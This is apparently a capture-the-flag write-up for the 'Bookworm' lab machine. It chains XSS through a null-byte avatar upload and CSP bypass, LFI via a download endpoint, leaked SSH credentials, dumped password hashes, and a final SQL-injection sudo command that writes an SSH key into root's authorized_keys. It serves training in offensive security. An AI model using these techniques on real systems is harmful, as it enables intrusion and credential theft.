# Nmap 7.94 scan initiated Tue Oct 17 07:05:54 2023 as: nmap -sCV -T4 --min-rate 10000 -p- -v -oA nmap/tcp_default 10.10.11.215 Nmap scan report for 10.10.11.215 Host is up (0.028s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 81:1d:22:35:dd:21:15:64:4a:1f:dc:5c:9c:66:e5:e2 (RSA) | 256 01:f9:0d:3c:22:1d:94:83:06:a4:96:7a:01:1c:9e:a1 (ECDSA) |_ 256 64:7d:17:17:91:79:f6:d7:c4:87:74:f8:a2:16:f7:cf (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://bookworm.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Oct 17 07:06:08 2023 -- 1 IP address (1 host up) scanned in 14.19 seconds
Port 80 is redirecting us to http://bookworm.htb/, so lets add this to our hostfile.
Bookworm website
There is a functional bookstore website running on port 80. We can register, login, upload and purchase books.
Using feroxbuster we can conclude there are some directories:
1 2 3 4 5
200 GET 82l 197w 3093c http://bookworm.htb/register 302 GET 1l 4w 23c http://bookworm.htb/logout => http://bookworm.htb/ 200 GET 62l 140w 2040c http://bookworm.htb/login 200 GET 239l 675w 10778c http://bookworm.htb/shop 200 GET 752l 4468w 327313c http://bookworm.htb/static/
If we add something to our basket, there is a pop up on the website:
We can now go to our basket and checkout our order, but we can also add a note:
If we try to do XSS here, we see that there is a CSP in place:
This is not a safe CSP at all:
We can easily bypass this.
XSS
If we go to our profile, we can upload a image for our avatar:
We make the following payload:
1
<script>alert(1);</script>
And we safe the file as:
1
test.js%00.jpg
Notice how we add a nullbyte in front on .jpg. This is to tell the application to ignore everything after the null bye, which makes our file actually test.js.
So we cant directly get XSS here, but we need to call our file /static/img/uploads/17 as source as a javascript file inside the note of our checkout:
If we now checkout, we can see it works!
So we have XSS, but what would we like to do with it? Well, we can see that if we change edit our note there is a unique ID for our user:
And we know that there is a bot making checkouts every few minutes. So if we can edit the note of their basket, we can let them execute our script. The idea here is to see their requests and see what is going on. We can actually see their ID in the HTML comment on the /shop page:
To see their request, we can use the following .js payload:
We upload this payload using the CSP bypass to our profile, and also edit a note for the other user. After doing so, wait for a few minutes to let the bot checkout. If we do so, we can see that we can the source base64 encoded returned to our server:
The source includes a interesting functionality which we did not know before:
1 2 3 4 5
<td> <ahref="/download/16?bookIds=21"download="Short Story-Writing: An Art or a Trade?.pdf">Download e-book</a> </td> </tr>
A download functionality, possibly vulnerable to LFI
LFI
To test if we are correct and there is LFI here, we can use the following javascript payload:
Since the files are being Downloaded as PDF we have to think about a way to download the PDF’s to our own server, we can write the following server.py script:
Using LFI, we will now download the javascript source to find credentials. To find the path of the source we can download the /proc/self/environ file and see that it runs under:
1
proc/self/cwd
So we will first download index.js:
1
proc/self/cwd/index.js
Doing so, we can see that database is being required:
We can now use that information to get the database.js file:
1
proc/self/cwd/database.js
Inside the file we can find credentials for the database:
We can see the password includes the name “frank”. And since frank is also a user I tried the password with SSH:
User Frank
1
ssh frank@bookworm.htb
We can login with that password using SSH to the box.
Creds
1
frank:FrankTh3JobGiver
Database credentials
Using the database credentials we can select the user table:
1 2 3 4 5 6 7 8 9 10 11
MariaDB [bookworm]>select*from Users; +----+--------------------+----------------+----------------------------------+------------------------+-------------------+--------------+------------+-----------+---------------------+---------------------+ | id | name | username | password | avatar | addressLine1 | addressLine2 | town | postcode | createdAt | updatedAt | +----+--------------------+----------------+----------------------------------+------------------------+-------------------+--------------+------------+-----------+---------------------+---------------------+ |1| Joe Bubbler | bubbler1984 |23d8ad788147bab0b3e50c58d0d0ca7f |/static/img/uploads/1|2436 North Road || Bath | BA56 9AX |2023-01-3020:10:04|2023-01-3020:10:04| |2| Angus Gardener | angussy |4f6b9a1f7a17192ea81489dbf920c1c2 |/static/img/uploads/2|76 Grove Lane || Truda | TR66 1A |2023-01-3020:10:04|2023-01-3020:10:04| |3| Jakub Particles | jakub1993 |1fd17f5623370abe7ba9929f7b2b7982 |/static/img/uploads/3|16 Station Avenue || Bradford | BD60 0ZZZ |2023-01-3020:10:04|2023-01-3020:10:04| |4| Sally Smith | sallysmithy |254aa41454d9626e7716ea48e9169dbf |/static/img/uploads/6|51 Damage Lane || Manchester | MA 5QAA |2023-01-3020:10:04|2023-01-3020:10:04| |5| Adam Broomcupboard | totalsnack | cb9774805ece216aebe01e90f5379995 |/static/img/uploads/5|6660 School Road || Newcastle | NE53 D9A |2023-01-3020:10:04|2023-01-3020:10:04| |6| Adamant Watson | awawawawawaw | f7d840d46c7511b491d84e523260456d |/static/img/uploads/4|62 West Lane || St Albans | AL1 6CC |2023-01-3020:10:04|2023-01-3020:10:04|
We do not find a hash for any of the other users on the system. So we forget the hashes for now.
Converter
We cannot change directory to /home/james but we can for /home/neil. Inside his home directory there is a folder “converter”:
1 2 3 4 5 6 7 8 9 10 11 12
frank@bookworm:/home/neil/converter$ ls -la total 104 drwxr-xr-x 7 root root 4096 May 3 2023 . drwxr-xr-x 6 neil neil 4096 Dec 23 13:44 .. drwxr-xr-x 8 root root 4096 May 3 2023 calibre -rwxr-xr-x 1 root root 1658 Feb 1 2023 index.js drwxr-xr-x 96 root root 4096 May 3 2023 node_modules drwxrwxr-x 2 root neil 4096 Dec 23 10:55 output -rwxr-xr-x 1 root root 438 Jan 30 2023 package.json -rwxr-xr-x 1 root root 68895 Jan 30 2023 package-lock.json drwxrwxr-x 2 root neil 4096 Dec 23 13:20 processing drwxr-xr-x 2 root root 4096 May 3 2023 templates
This looks like another webserver, if we look for listening ports I noticed port 3001:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
frank@bookworm:/home/neil/converter$ netstat -tulpn (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.53:53 0.0.0.0:* - udp 0 0 0.0.0.0:68 0.0.0.0:* -
If we curl the port we can see that it is the converter app;
We can see how it processes our file using the outputType and filename. We can modify our request in burp to add our public SSH key to the authorized_keys file of neil using:
Next, we can send the request and login with ssh to neil:
1
ssh -i id_rsa neil@bookworm.htb
Root
We can see that neil can run the following apps as root:
1 2 3 4 5 6 7
neil@bookworm:~$ sudo -l Matching Defaults entries for neil on bookworm: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User neil may run the following commands on bookworm: (ALL) NOPASSWD: /usr/local/bin/genlabel
Genlabel is python script. Lets copy it locally to see how we can exploit it. Just by checking the imports, we can tell its very interesting:
We can see that the following query is being executed as root:
1 2 3
cursor= cnx.cursor() query = "SELECT name, addressLine1, addressLine2, town, postcode, Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users On Orders.userId = Users.id WHERE Orders.id = %s" % sys.argv[1] cursor.execute(query)
Since we can add our input from sys.argv[1] we can inject our own SQL and write to the authorized_keys file of root:
1
sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1(/root/.ssh/authorized_keys) (w) file def\noutfile1 (ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuwRyShS3BIm5dskMd42Bzq3s9KHqwHuD4OHRUbjVZj7epBojojnXwQlZv1HvKlkbmeJ9jKYbzd3FzEnF3OJ8UGSkOjFQmYrdvLJafSqW7Td9C8lNEzdAblPgeAhe2w7i8SRaT+SK4s8zXnHepSALjx1C/cr8oc2rAh7j2i0TYbxFZ5GeUdaafyylH/PzY/u9eXkO+khPFRxSA340U0tiSsKZOE7jzTlQRoVBFZimeDVOH3ICwwOgATAZIHdNkuAc4LNs/RAxxVGXTWqie4F3RjxGokM+RdIBampB/JZ6oVWcslQer+7L5Hf7exBIMebAlpjKg/KhZSKdosQ+cP3/pX/WOi0xWs74ykiXpcSNlauGhKSaEHmGZ1ydoprBJoO4mrAaGBeiq8uaQ68uY8hYbZmnaprA65936/zEs0BHgHnhhgXpigb8G4ZPZ08l/TIzax8HbgtNLKaI60A20imbGB5wETLRVkaMza0EJw0HeTMkaKd6GIW0mytFfr4r+ITE= kali@kali) writestring\noutfile1 closefile\n\n(a' as name, 'aa' as addressLine1, 'bb' as addressLine2, 'tt' as town, 'pp' as postcode, 0 as orderId, 1 as userId;"